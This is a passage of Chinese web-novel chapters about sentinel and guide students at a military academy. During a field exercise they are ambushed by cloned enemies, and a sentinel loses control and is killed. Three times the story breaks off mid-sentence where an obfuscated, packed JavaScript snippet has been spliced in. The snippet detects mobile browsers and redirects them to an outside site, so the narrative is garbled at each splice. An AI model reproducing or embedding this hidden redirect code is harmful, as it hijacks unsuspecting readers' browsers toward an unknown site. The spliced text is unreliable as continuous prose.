黑豹哨兵瞪着黄澄澄眼睛,往他头顶一指:“这什么玩意?从哪冒出来的?” 客惜斓特地摇晃几下,仿佛小孩头顶纸皇冠或竹蜻蜓,炫耀着一动不动乖巧的蝴蝶,很嘚瑟道:“杭教官的精神体——分身!” “可爱吧!” 边越疑惑道:“杭教官?你能联系上教官了?他在哪儿,我们现在该往哪走,是要去找他汇合吗?” 他很快想起被这个插曲打断前要问的事,分别指了指地上两个方向的两具已昏厥敌人:“这两个人现在怎么处理,要一并带走吗?” 这一连串问题不是全对着客惜斓问的,他在听候或许能通过精神体分身传递过来的教官指示。 客惜斓刚想说你问题好多,头顶蝴蝶扑扇两下,传来杭知澍的声音:“……惜斓?边越?” 仿佛摄像镜头在空中调整位置,蝴蝶分身轻飘飘飞离他头顶,飞到两名哨兵中间,转了一圈,像环顾周围一眼,杭知澍的声音再度响起:“这附近的学生只有你们两个吗?” 边越迟疑了一下,答道:“是的,半径一百米内没有感应到我们的人。” 客惜斓等他汇报完以A级精神力能感知到的更大范围,才接着向身处不同位置的杭知澍求证起黑翅鸢向导的话:“教官,除了我们所在的006小队外,目前还有其他队伍也同步遇袭了吗?” 他们快速交流了情报。客惜斓汇报了所遭遇的鳄鱼哨兵和黑翅鸢向导的伏击、敌人的具体技能内容,以及从黑翅鸢向导处获得的克隆体同步突袭情报,也从杭知澍那里了解到目前与外界通讯被切断、尚未和校内取得联系。 杭知澍淡绿无螯蛱蝶精神体的第二技能“蝶巢”,通过分离精神力形成大量工兵蝴蝶分身,除了基本的侦查、远端输送信息回巢外,还能在发现情况时由本体直接接入,进行对话和单向的视频通讯。 这些蝴蝶事先被携带在每队的带队哨兵教官身上,处于未激活的蛹状态,宛如一枚辉荧柔和的淡绿萤石吊坠,是教官之间保持联络的二重保险。 但就目前情况,同队之间被迫分散成更小分队、散入重林,需要他在和各教官取得联系后增派更多工兵蝶一一捕捉失散的学生。 客惜斓表面镇定自若地聆听指示,内心已经有点汗流浃背:杭知澍什么时候接入的!没有听到什么影响我柔弱乖巧萌宠形象的内容吧! 不知道是顾及他人在场还是确实没听见什么,杭知澍公事公办,很可靠地指示他们往东南方向行进,先就近和其余蝴蝶捕捉到坐标的学生汇合,再沿同方向到达他所在的位置。 蝴蝶摄像头飞向周边,确认过在场两名未知所属的敌人均已处于失去行动能力状态,杭知澍沉吟片刻,又和身边其他教官简单讨论过一番,达成共识,最终要求他们把敌人暂时留在原地,先去和同学汇合。 首先要保证学生安全。 山里失散的人员还没有搜索完毕,他事务繁忙,还有大量分身传输回来的信息亟待处理,先用蝴蝶鳞粉标记了这处地点,预备等待有余暇再行返回,随后便挂断了通讯。 第一小提保持机械动作,缓缓飞动几秒,又扑棱扑棱蝶翅窝回了它的御座。 边越:“……为什么只停你头上?” 客惜斓黑眸微微眯,白白的牙尖抵住下唇哹哹笑:“因为你比较凶?” - 啃下了两袋营养剂加速精神力的恢复,客惜斓和边越沿着蝴蝶的指引出发,一路奔跑。跟上豹子的奔跑速度对章鱼而言相对吃力,客惜斓跑得气喘吁吁,正打算喊边越蹦慢些,就看见他在前方骤然急刹,黑色丝绒般的精神触梢咝咝放出,试探过无危险后才撤开,走近俯身,用手指直接拨开了地上一株野草的叶片。 客惜斓眼尖地看见那草叶上沾着晶莹剔透的粒状物质,像敲碎的不规则冰糖。 他快步跟上:“怎么了?” 边越捻了捻指尖透明碎粒,给出判断:“是冰。” 他站起身,拍去手上冰屑:“刚才那个鳄鱼哨兵身上也探察到了冷气。但他的伤口在正面,没办法翻转过来检查具体由什么器物和方式造成。” “……这可能是夏潆洄的冰,”他指着前方地面零碎而隐约的闪光,沿着冰屑遗落的痕迹描摹出一条有人行经的路径,凝眉说出了猜想,“鳄鱼伏击我们之前和夏潆洄交过手,并且负了伤。” 他皱着眉,不知道与敌人交战后同伴的情况如何。 “那条开学和你打过的虎鲸?” 用冰、学生、和边越有过交集,客惜斓在印象里检索到对应的人。 “嗯。” 蝴蝶见他们不动,飘飘悠悠飞到了前方。 指示的方向和冰粒走向一致,说不定前方等待汇合的就是同校的虎鲸哨兵。两人对视一眼,继续疾奔赶路。 一年级学生三百人分成十五支小队,每队编入学生二十名,教官两名。根据杭知澍已经接收到的情报,至少有五支队伍确认遭遇到袭击,敌人的整体袭击手段大致统一: 从昨夜营地休息时开始设伏,通过克隆体黑翅鸢的模仿技能伪装成同伴接近军校人员,趁近距离对视之际发动梦魇技能埋下种子,经过整夜侵蚀,到早晨发作,引发失控半附体状态,诱使同队自相残杀;如出现精神力强的A级哨向导致预定时间内无法得手,再派出一名B或A级哨兵增援黑翅鸢向导,隔开或拖住对方。 已知敌人数量为克隆体B级黑翅鸢向导三名,A级鳄鱼哨兵一名,B级刺猬哨兵一名。 根据各处传回的信息,除了全员A级的教官、警觉性高而主动采取了预防措施的A级学生、自身技能或生物特性具有抗拒性的其他等级学生,其余无一例外中招。而在未中或未完全中梦魇技能的教官和学生中,还有一部分因为同伴突然失控而负伤。 才三只就搅出如此大乱,祸及百人,固然有新生等级稚嫩、意识差、在野外警惕性太低的前提,也说明了这批黑翅鸢克隆体危险程度之高。 这要是流入未觉醒人类的社会,后果难以想象。 客惜斓上辈子在组织时,缺乏潜力的低阶哨向都会被快速淘汰,只有铆劲往上升才能一次次幸存苟活,现在他的精神力虽然只恢复到B级,面对体积庞大却战斗素质良莠不齐的军校新生群体,评价标准一时间难以转换。 如果是在那个非人性化的组织,这些学生早就不知道死了几次。 他按下心中幽微的嫉妒,对这些拥有正常家庭成长环境和学校资源一路护航托底的“同龄人”们,把思考重心放回敌人的目的。 为什么要突袭军校新生? 他切换回雇佣兵杀手的思路:以往,他们在任务中和军方对上,除了后者找上门来剿恶之外,基本上是双方任务发生冲突的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418405|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 比如说组织在某个地点搞事情,军方派人前来处理;或是组织企图夺取某个人或某件事物,军方则奉命保护或救援,再将其安全地转移。 他出任务之后,遇到军校学生的情况只有过军校教官带队外出执行任务一种,而军校是从二年级才开始允许外出。 一群新兵蛋子,水平又菜,费这么老大劲袭击他们干嘛?没事拉仇恨,生怕军方不开着队伍来剿吗? 难道是要绑架某个身份特殊的学生? 他想着杭知澍介绍过的生源构成里大家族出身的占比,身侧黑豹哨兵所属猫科家族的富裕显赫背景,那天夜里贺旗警告过霍河樵别随意动到不该动的人。 他们沿着闪脆溅落的冰粒,蝴蝶青荧的轨迹,在山中疾驰,一前一后。客惜斓尽力和边越保持着不超过十五米的距离,来到了树林间一片开阔地,落叶铺满地面,被黑豹哨兵疾跑时有力的后跟溅起,他心中忽然闪过一丝异样感,高树堕下仍绿的数片新叶,脚下有股震动,似乎来自地下。 “等——” 弯曲獠牙破土而出,顶着碎散的泥土和流泻的落叶。客惜斓下意识闭口,避免杂质溅入口中,眯眼,看着黑豹哨兵在原定落脚之地的半空中闪电般利落回身,金桔色豹瞳如灯,兽耳放出,双手利爪化,在右腿狠狠一踏那巨兽面门之后,借强悍的弹跳力跃上半空,翻转,头脸朝下,钢刀般的双爪向其眼前猛然斩下! 疣猪精神体发出极其凄厉的嘶嚎,烙下鲜明奇长爪痕的头部眨眼间变得残破褴褛,精神力从抓痕处豁出,嘶嘶消融蒸发。所伏的地面瞬间塌陷向下,维持獠牙正对边越的姿势,倒行,隆隆地没入泥土隧道中。 穴居类精神体,擅长掘地钻洞。 客惜斓延长变软的手腕一抛,挂自己上树,牢牢吸附住,看热闹不嫌事大地放声嚎道:“需要帮忙的时候就——叫、一、声!” 然后一扭头,呸呸地吐掉舌头上心理作用沾到的泥粒。 边越头也没回,向下旋身环顾四周地面,厉声喝道:“倪萨!” 背弓矫健而隆耸,一匹黑豹漆黑如丝绒,梭巡着从地上浮现,围绕在主人脚边,齿间嗬气,血舌隐现,发出阵阵愠怒而幽沉的低吼。 地下仿佛就此沉寂,阴沉不见异动。客惜斓自上而下观战,看着无数漆黑细长精神触梢如勒紧地狱犬只咽喉的锁链,从边越周身放出,钻入地下。 他把几十条触须攥在手里,猛然向上提起! 长丝状漆黑触须骤然钢化,犹如相合利爪,掏出地下之物。 黑豹精神体第二技能,困兽之笼! 如地下黄泉突涌,暴掀的泥土之中,罩着全身盾甲的疣猪被钢爪一举掏出地面,暴露在空气中,泥土落叶簌簌下掉。 这是特意挑选出的林间空地,适合设伏,然而此刻,周围高大树木、地面茸茸野草,却仿佛灌入惊人生机和养料般冲破物种限制地疯长。藤蔓曲折、浓暗、跋扈,飙溅出艳丽香花和血珠浆果,树枝如铁棘栅刺狂突直戳,枝身结满树瘤,林间彩蕈朵朵暴涨,花纹浓密、菌体粗壮,喷出丰富呛人的孢子,找到培养皿般纷纷绽开在疣猪身躯上,钻开盾甲,呈现出烟花般的诡谲斑斓。 半径二十米,整片土地上植物与真菌陷入迷醉般的癫狂。 如同亢奋的葡萄藤,绞杀一切冒渎者。 黑豹精神体第三技能,酒神狂宴! 边越咬牙切齿道:“不就是改变环境的精神体技能,以为只有你们有吗!” 客惜斓从远处躲风波的树冠里呲溜滑出来,撩开生长得堆满眼前的森绿藤帘,啧啧摇头:年轻人,气大伤身啊! 疣猪哨兵的精神力盾甲喀嚓碎裂,齑粉般消散,被自地面一拥而上的森绿藤蔓、鲜花、果实紧紧绞缠,身影还原成人形,悬吊在空中,一动不动。 精神体技能撤去,植物驯顺如退潮般回到各自原位,似乎都比原来粗壮一些。那疣猪哨兵噗通、沉沉掉落在茸密野草垫毯上。 边越速战速决,喘几口气,回头向树上道:“跟教官报告一下,统计敌人数量新增一名,B级……” 地面忽然“喀——剌”地响起异动。 客惜斓目光一紧,松开吸盘疾速往下滑。 眼前裹满菌茸苔藓的敌人哨兵身躯开始硬化,血肉骨骼的人体突然尖峭地捅出精神体般的弯曲上翻獠牙,两根一组,一粗一细,一大一小,正是疣猪面部前后牙的特征。 眼看着活人如水仙鳞茎抽穗般肿胀、结出硬疖、陡峭地呲开污浊白牙,逐渐不具人形,变为垒起的发灰带绒毛肉块,发出“嗬嗬呼——嗬噜——”的浊重喘气声。 这是进入军校的边越第一次在课本之外亲眼目睹,却不是曾为组织杀手的客惜斓初次见到。 眼前的敌人哨兵神游症爆发,精神域支离破碎,即将完全失控。 哨兵向导罹患神游症的尽头,就是变成怪物,一具尚且活着的、疯狂的、不可名状之物。 15. 第 15 章 被击杀。 死在军方的围歼,或同伴的肃清下。 以变异或不完全变异的非人类形态。 漫天肉块飞溅,火力覆盖下破碎烧焦的血肉终于不再蠕动和发呓,散发着蛋白质燃烧的焦臭。同队的哨兵向导们撤去白烟袅袅的枪口,整齐划一,又沉默不语,直到一位黑发微卷的向导开口道:“行了。” “新月,清一下场吧。” 用来遮光隔热的眼罩被一只戴手套的手向上推,挤开几缕墨蓝头发,露出那双漆黑底色上倒映幽荧蓝环的眼珠,骨碌,眼珠在眼眶里转动过一圈。 审视着地上混合了人类与精神体动物特征的残留物。 我失控的那天会变成个什么玩意呢?他想。 流着毒液长满脓泡的章鱼?所过之处寸草不生?要花两百年时间降解? 哇……有点恶心了。 在贴近一脸惊愕的杭知澍、隔着手套握住他紧攥匕首的手时,从那双朝思暮想的眼睛里蓦然映出了自己的倒影。 哨兵情不自禁地弯眼而笑。 - 章鱼触腕够到双肩包提手,勾住,猛然拉扯上抛,处于愕然状态下的边越没有反抗,配合触腕的回扯,翻身,还未在六七米高树上安稳落定就急切地脱口而出:“你要做什么?他失控了!” 客惜斓不答他,径自道:“开启全身护盾,在眼睛处加固,我倒数三下后释放你的第一技能,然后闭眼,在树上抓稳别掉下来。” 他语速利落,话音极稳,边越却莫名额头渗汗,迷茫而惶惶地追问:“你要干嘛?” “要放毒,”客惜斓平静道,“所以眼睛还想要的话,就好好闭紧了。” 话音未落他沉眸开始倒数: “3。” “2。” “1!” 黑暗。漆黑降下,无一丝光亮,半径十米内陷入死寂般的纯黑。 黑豹精神体第一技能,黑夜降临。 仿佛深海幻觉般的荧光蓝液体从地面涌起,那精神力没有凝结如玻璃吹成般的固态,而是黏连的、塌软的,通身泛着奇异而流动的幽光。本应折射虹彩,但因环境全黑,只是蓝汪汪地鼓起泡泡,一簇接一簇。 团簇的浮泡中生成章鱼飘曳的腕足,腕足波动的轮廓也不断涌起新的泡泡。 仿佛延时摄影,顷刻之间,诞生、萌发、成熟、衰灭。这些蓝环章鱼毒液吹出的浮泡如梦似幻,经由匕首刀锋的一指,鱼群般空洞地飘向前方。 那座混合了疣猪毛皮和獠牙的肿胀灰色肉块还未完全达成蜕变,保留着视力衰弱、依赖嗅觉的物种特性,竖着一身脏污曲翘的獠牙,响亮而绵黏地呼吸、起伏、缩胀,仿佛正用力泵血的灰暗心脏。 荧光蓝色浮泡触碰到坚硬灰色肉块,“啵”,轻轻地破裂,流下一滩晶莹毒汁,在嘶嘶的灼烧声和由淡转浓的白烟里,这陡峭石碑般的非人怪物被一颗颗簇拥而上的浮泡沾到,开始溶解,白烟剧烈得把黑暗烧出一个苍白的窟窿。 溶蚀之后,浓郁液体一层层流下,到最终喷泉的核心也黏黏融化,全都灰而稠地流渐到地上,呈现出大理石般的扭曲纹路,就这样流了满地。 新月豹纹蛸精神体第二技能,梦幻浮沤。 这原本是只溶解内在精神域、腐蚀精神力的技能,能够不可逆地烧蚀、灼伤精神图景,但对失控外显的哨兵向导而言,破碎的精神域已经反向吞噬了本体,相当于前者来到现实。 这是个便于清理现场遗留的技能,只有一滩不具形状的脓液会静静留在地上。 将这座坍塌破碎的精神图景,连同被吞噬的哨兵本人,一并腐蚀溶解。 他这个技能本来并没有正式的名字,他一直管它叫“吹泡泡”,生动形象。在图书馆工作的日子里他主动翻了一些书,其中也包含文史方面。杭知澍学历高,他这个义务教育的漏网八爪鱼起码得半通不通一点,才配得上有文化的向导。 这诗句就是那时候看到的。 “水中捉月,镜里寻头。空花阳焰,梦幻浮沤。”[注1] 譬若幻梦,虚无空洞。 客惜斓匕首回鞘,空中地上飘浮沾染的毒素被虚幻的章鱼腕足一一吸走,转身。 悲怆而悚怖的景观已然坍塌,浓缩成地上斑斓脓水一滩,佐证生命曾经存在。 黑暗退去,现实的日光顺着枝叶的走势曲折下泻,顺发丝淅淅地淋湿他,像燦烂金漆缮补一件裂瓷,又仿佛被光做的刀子从头切开。日光还原的森林景物中,黑发哨兵侧转而立,留在树上的蝴蝶扑闪着光做的翅片飞下,在颈边,眏亮他叶影斑驳的脸颊。 客惜斓眯起眼,用黑手套随意一挡,先适应了几秒钟光照,没多做任何解释,自言自语般说道: “行了。” “接着赶路吧。” 那蝴蝶又飞到他头上。 - 牙膏。冷的。番茄炒蛋味儿。 他不愿细嚼,两三口咽下去,眼睛盯着面前正卷绕绷带给自己包扎左臂的背影。 贺旗目光下移,瞄了一眼自己被包扎好的伤腿,包得算不上十分精致,但毕竟比他自个动手能力强些——又不禁瞄一眼前边。 霍河樵单手熟练地打了个绷带结,撸下迷彩服袖口。 没等他出声盘问或询问,哨兵一回头,露出黑发下暗红色的眼珠——显得那张脸在熟悉之余有种幽静瘆人的陌生——叫了他一声:“贺旗。” 霍河樵面上平静,仿佛在讲一件稀松平常的事: “给我一点向导素。” 贺旗嘴角静绷几秒,松开,扯了个虚与委蛇的笑,一团和气地婉拒道:“咱俩这一级差的可是从A到B,我可奶不起你。” 霍河樵却神色认真道:“不会。” 他顶着那斑驳阳光枝影下有些阴凉的目光,像是视若无睹般地如实相告: “匹配度,够高。” - “统计实时新增汇报。” 眼前铺开荧亮宽大的终端界面,杭知澍浅至葡萄绿的眼中倒影闪掠过数公里之外的画面,口头概括和转播每条通讯结果,徐榛等教官双手快速敲字,录入的同时同步传输和备份给每名重新进入蓝牙联络范围的教官。 “连接到003小队林悬眠,已制服B级刺猬哨兵一名,一名B级黑翅鸢向导逃脱。” …… “连接到014小队教官,一小时前遭遇敌袭。一名B级黑翅鸢向导被俘,进行编号,当前黑翅鸢编号为2,袭击003小队者编号为1。” …… “连接到006小队边越、客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418406|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜斓,已制服A级鳄鱼哨兵一名、B级黑翅鸢向导一名,汇报黑翅鸢可能为复数克隆体,进行编号,当前编号为3。” …… “008小队除雎兰袅抵达。” …… “连接到015小队教官,四十分钟前遭遇敌袭,队伍被冲散。敌人A级鳄鱼哨兵和B级黑翅鸢向导各一名,均逃脱。” …… “003小队贺旗持续失联。” “015小队夏潆洄、霍河樵持续失联。” …… “003小队除林悬眠、贺旗抵达。” …… “014小队全员抵达。” …… “006小队除边越、客惜斓抵达。” …… “015小队除夏潆洄、霍河樵抵达。” …… “006小队边越、客惜斓汇报遭遇B级疣猪哨兵一名——” 杭知澍的声音骤然中断。 徐榛抬起眼,见他背影一动不动,仍在接听汇报,几秒钟后,才语气凝重地继续转播道: “敌人疣猪哨兵疑似神游症恶化,开始进入完全失控状态,确认不可逆转,已经就地击杀。” “完全失控哨兵?”徐榛惊讶地重复一遍,反应极快地想到,“人体炸弹……自/杀/式袭击?” “不会其他的几个也……” 在场教官心中俱是一凛,就在不久前,他们统一讨论的结果是让学生们都把确认失去行动能力的敌人暂时留在原地,先自行与大部队汇合。 根据最新这条通讯的经过描述,如果这个未知敌对势力派出的全都是处在神游症恶化边缘的危险哨向,极有可能在被制服后突然爆发失控,变成无意识无差别攻击的人体炸弹! 截止目前,十五支队伍的大部分人员已经安全汇合在此,只剩下五支遇袭队伍中的部分学生仍未抵达,其中三人持续失联,四人还在路上。 这七名学生单按等级看,包含了本届哨兵前三、新生中仅有的三名A-1级,本届向导中综合素质最强的B-5级,以及B-2、B-3、B-4哨兵各一名。 而按家世背景看,其中有军方贺家、富豪边家的孩子。 敌人的真正目标恐怕正在这几名学生中,但究竟是谁,目标是单数抑或复数,其中多少人是用于混淆视线或是被碰巧卷入,暂且无法做进一步的判断。 - 客惜斓气场冷冽了不到两分钟,又恢复了之前跑不过黑豹的气喘吁吁模样,幽怨地在后边扯嗓子喊:“你能不能稍微考虑一下柔弱的B级同学,我精神力只剩下一格电了!” 边越心里乱糟糟,第一次看见活体哨兵失控在眼前,哪怕是敌人,那种阴森压抑的窒息感和哨向对于绝症神游症的恐惧让心底无声地冰寒、塌陷了一块,队友方才杀伐果决的表现也让他不安,脑海一团乱麻,埋头赶路,不自觉越跑越快。 他听到客惜斓在后边吱哇叫,猛然急刹,刚要回头说话,余光被林间日光反射的大片刺眼晶粒一晃,紧急开启精神力盾甲噌噌后蹬。 客惜斓瞪大眼,只见一柄水流激旋、碎冰飙溅的巨大颀长三叉戟从天而降,目测足有三米长。 ——凶暴地插在了边越方才跳开的地面上。 16. 第 16 章 长达三米的战戟夹冰带霰,凶狠地凿进地面,一击不得,鸣动着起出,就要再度刺来。 边越一面嗵嗵地蹬跳后撤,支起两个豹爪作投降抵挡状,一面狼狈地大喊:“姓夏的!我是真的!!” 说话间黑豹倪萨从地上凭空窜出,冲天空低低嘶吼两声。 这吼声和先前慑敌时截然不同,愣是给客惜斓听出了六分暴躁、三分委屈、一分夹。 巨大冰戟喀嚓嚓破碎,天空中静了片刻,有巨大黑影裹挟着嘶嘶掉霰的冰铠自天压来,几乎匹敌一艘中型游艇之大。客惜斓用袖管抹掉一片头发脸颊上冷气凝结的白霜,看着巨大黑白虎鲸之上一手调整护目镜、一手的握中飞速凝冻出同样一杆冰戟的人影。 来人一头黑发,梳成瓢泼的高马尾,个子极高,站在巨鲸上俯瞰下望,显出十足的压迫感,透明挡风护目镜下一双黝黑眼睛自上而下,疑惑而审慎地打量着边越,又目光移动,打量起客惜斓。 A-1级逆戟鲸哨兵夏潆洄,新生第一。 客惜斓被她变化而逐渐多出柔和善意的目光打量着,仿佛被人手从冰柜里体贴地拎出来,拧开常温水龙头化冻。 客惜斓默默想:她好像比师姐还高。 虎鲸上的哨兵开口说话,声音悦耳,不高不低,听得出是有意将原本的音域下压,以显沉着。 夏潆洄对着他,惜字如金地吐了两个字:“好小。” 又三个字:“好想养。” 大型鲸豚对着迷你章鱼如是说。 客惜斓在直扑面门的冰霰和冷风下双手攥紧双肩包带,瑟缩但异常坚定地回应道:“我已经有人养了!” 是有饲养员的八爪鱼! 虎鲸哨兵眼中顿时流露出失望:“啊。” 一团黑茸茸末梢带黄灰色的毛掸子从夏潆洄身后一晃而过,套着丛林迷彩裤管和山地作战靴的双腿从虎鲸头侧垂下,林悬眠探出头,同样戴着护目镜,头顶两只猫耳耸动:“少爷?可算找着你了。” 他那颇有毛毯质感的蓬乱头发里透着淡绿闪光,边越愣愣道:“教官给的坐标是你啊?你们两个分到一队了?” 林悬眠眯眼笑道:“那没有,我是夏同学路上刚捡的。教官说你和客同学一会儿就来找我了,你们是路上又遇到什么事耽搁了?” 夏潆洄等他俩说完了一回合话,才简洁地吩咐道:“变回去。” 林悬眠从善如流:“好嘞。” 边越和客惜斓眼睁睁看着一个一米八几哨兵果断化身为毛长绒殷、身弥斑点的猞猁,还很不要脸的夹着嗓子喵嗷了两声。 客惜斓这才明白,被当成黑翅鸢攻击时边越何故主动暴露出爪上肉垫。 客惜斓眼巴巴地望着免费的交通工具大虎鲸:“可是我不能完全附体化,我精神体有毒……” 夏潆洄话音温柔:“没关系,你现在这样就可以。” 于是一豹一人成功乘上了长约六层楼高的大虎鲸,客惜斓被两团猫科毛绒拱在中间,一脸新鲜地呼出团团白雾,感觉不怎么冷了。第一小提缩进他迷彩服外套和T恤的领口夹层,第二小提安详地窝在长毛猫的长毛中。 左边的黑豹瞪着眼:“你居然出卖色相……” 右边的猞猁蹭爪子:“有鱼坐不香吗喵。” 客惜斓在虎鲸起飞前又汇报了一次,心想为了追踪到夏潆洄,不知道冻碎了多少只小提。 客惜斓怜惜地看着领口两根须须轻晃的小提,心说宝宝,你是一个可怜的葡萄,除了我之外的所有哨兵都想把你扔进酸奶里搅拌搅拌做成水果捞吃。 第一小提对两脚兽内心的加戏浑然不知,像贴玻璃一样贴着他薄薄的胸口。 他把教官的问题转达给夏潆洄:“我们现在直接去教官那里吗?教官说除了我们四个之外,还有三个同学没回来。” 客惜斓报了一遍具体名单,其中包括他的两个室友,这两人先前就有矛盾,现在一起处在失联状态,但愿事实非他所想。驾驶虎鲸的夏潆洄直视着前方路况,黑发飘扬,没回头地聆听罢,当即决策道:“要一下雎兰袅的坐标,我去接她。” 通讯挂断后客惜斓才有机会提问:“雎兰袅是谁?” 夏潆洄方才听转述时没回头,这回倒很奇异地短短瞥了他一眼:“是我朋友,一个向导。原来这届还有不知道她的哨兵。” 客惜斓回想了一遍,确实印象里没这人,很诚实道:“我只认识教官和一起上过课的向导。”还不一定认得全。 “她是B-5级,天鹅。”夏潆洄也没过多渲染。 客惜斓却一听就明了,今年新生里向导没有过A的,B-5就是最高,这应该是新生里头非常优秀的一位,说不定还是哨兵当中不少人的憧憬对象。 传说中的校园女神? 鸟类精神体打起架来虽令人烦躁,但大多都有副美好细致皮相,不做敌人的时候还是很赏心悦目的。 他忽然想起一个故人。上一世他把飞行器上所有食物装备都留给对方,对他说逃吧,然后就跳出了机舱,直面军方的围剿。 他回想着那个有着一头微卷黑发的向导,他难得稳定的搭档,最开始也和其他人一样惧怕他的毒,最后却成了唯一一个希望他活着的人。 不知道夜枭最后有没有成功逃掉,他那么想活。 一旁的边越沉默了半路,很不习惯地用蹲踞敛爪的黑色大猫形态口吐人言道:“我们之前遇到一只黑翅鸢和一条鳄鱼,精神触梢探测到鳄鱼身上有种特殊的冷气残留……是你之前交过手的?” 夏潆洄答道:“对。袭击队伍,让我追出去揍了,两只都跑了,我在找他们。——又跑了?” 合着这位是扛着三叉戟一路追打敌人追迷路失联的……很符合她的风格。三人内心齐齐一叹。客惜斓怕她兴起又要掉头追杀,赶忙说:“已经当场毒晕了,应该……” 他忽然闭了嘴,边越也同样想到,刚放缓的心情又凝重起来。 “应该什么?”夏潆洄追问。 他整理措辞,结合了方才杭知澍传来的教官们的推测和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418407|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叮嘱,也顺势回答了林悬眠先前的问题:“我们刚才在汇合路上碰到了一个敌方的疣猪哨兵,神游症末期,被打到失去行动能力后突然间爆发失控,开始异化。” “已经解决了,在他没异化完全、开始主动无差别攻击的时候,”他没大喘气,很迅速地告知同伴以结果,“教官也说这种情况可以就地击杀,不能让神游症蔓延,以我们自己的安全为重。” 另两人此时已经大致明白了他们先前的突然沉默,和想表达的意思是什么。 “……也就是,有可能我们此前当场控制住、判断失去行动能力的敌人,也会像那只那样突然异化,然后再次来袭,”他停顿了一下,提出教官们有些沉重的猜想,“这有可能是一场计划好的自/杀/式袭击。” 他用了一个自己再熟悉不过的词、和属于前世的那个S级哨兵新月紧密挂钩的词,来结束这段信息共享:“……我们要面对的敌人,有可能全是对方不计较成本的耗材。” 即使没有达到目的,派他们来的人,恐怕也没打算让他们再活着回去。 一片沉默、和客惜斓的兔死狐悲中,夏潆洄率先打破飞鲸上的安静:“你们都还剩下多少精神力?” 边越答道:“我还够放一轮技能,学校发的营养剂挺管用的。” 林悬眠接话:“我也差不多这个量。” 夏潆洄道:“一样。” 她接着问:“蓝环?” 客惜斓幽幽吐一口气,很易碎地抬起了双眸,手指着自己:“我,B级,一点也无了,还能开个盾甲,自己找找地方躲好。” 他想一想,又尽力加码道:“你们打的时候,我可以自己找时机朝对面呲个毒药。” 夏潆洄淡定地总结道:“所以说,我们需要一个向导。” 正说着,地面传来一阵柔和的精神力,经常单身的哨兵都知道那是向导的气息,夏潆洄指挥飞船般的虎鲸鲸头朝下,以方才出场的同款姿势裹挟冰晶而来,碎霰纷飞,被鲸体压凹下陷的树林形成火山坑坳般的森绿小湖,天池边缘立着一位纤袅少女,留乌黑柔顺的齐颈短发,一样的丛林迷彩在夏潆洄身上轻捷落拓,在她身上显出森林般的静美。蝴蝶在她身侧轻灵扇翅,雎兰袅笑吟吟说道:“辛苦你跑一趟了,潆潆。” 夏潆洄调低虎鲸高度,身量一俯,手臂修长地向地面伸出:“不辛苦,公主请上车。” 天鹅公主般的向导伸出手,纤纤地放到她掌心,同时脚下轻巧一踮,虚幻的漆黑羽翅在背后轻翩扇放,又簌簌地收拢、消失,十分优雅地登上了鲸船。 雎同学的精神体是只黑天鹅。 “这几位同学是……?” 夏潆洄操控着虎鲸重新上浮,难得周到地回过身,面色也变得柔和:“这一个是我路上捡到的公仔。” 她指的是被黄底斑纹招财猫和羞赧团缩大黑猫挤在中间,手指“V”着树杈、下垂眼懵懵睁大的客惜斓。 “那这两位……?” 夏潆洄沉吟片刻,回道:“谷美?” 17. 第 17 章 客惜斓的第一反应是:哇,仙女。 第二反应是:贺旗跟这种漂亮有气质的级花姐姐并称,多少有点辱没人家了。 他为这届向导感到惋惜。 第三小提很得意地啪叽翅膀,还没蹦跶几秒就绷上了一层霜,书签一样脆薄薄地掉在雎兰袅手心里。 另两只蝴蝶分别从相对温暖的藏身处探头,须须抖动,像在桀桀嘲笑。 客惜斓又有点不开心了,他心情很微妙:原来小提不是只亲他一个人嘛,小提这种生物跟着谁就跟谁好。 杭知澍还兼任着学校心理辅导室教官,青提本提也会跟每个学生关系好到贴贴、把别人的脑袋当停机坪吗? 克莱因在精神域里趴成了一滩。 客惜斓啃着营养剂,沮丧得连那些惊世骇俗的口味都没能在舌尖留下印象。开学两个月,他越来越感觉不到饲养员对他的特殊了。他关注杭知澍,目光紧追着视野范围内他的一举一动,常常会看到杭知澍耐心指导其他学生、也跟他们亲近地开玩笑,高年级的学生原本是他的师弟师妹,言谈举止中更是松弛随性。 就像杭知澍说的,他毕业前就和已经是教官的师兄徐榛频繁搭档,对于哨兵向导而言第一重要的是匹配度,学校里的哨兵不论男女老少、学生教官,只要尚未匹配又和杭知澍匹配度达标的,都是他的潜在竞争对手。 ——他感觉自己有点像室友说的游戏电子宠物,被关在屏幕里,杭知澍可以主动选择投喂他,但是他只能在水族缸玻璃壁后面看着他在自己的世界里活动。 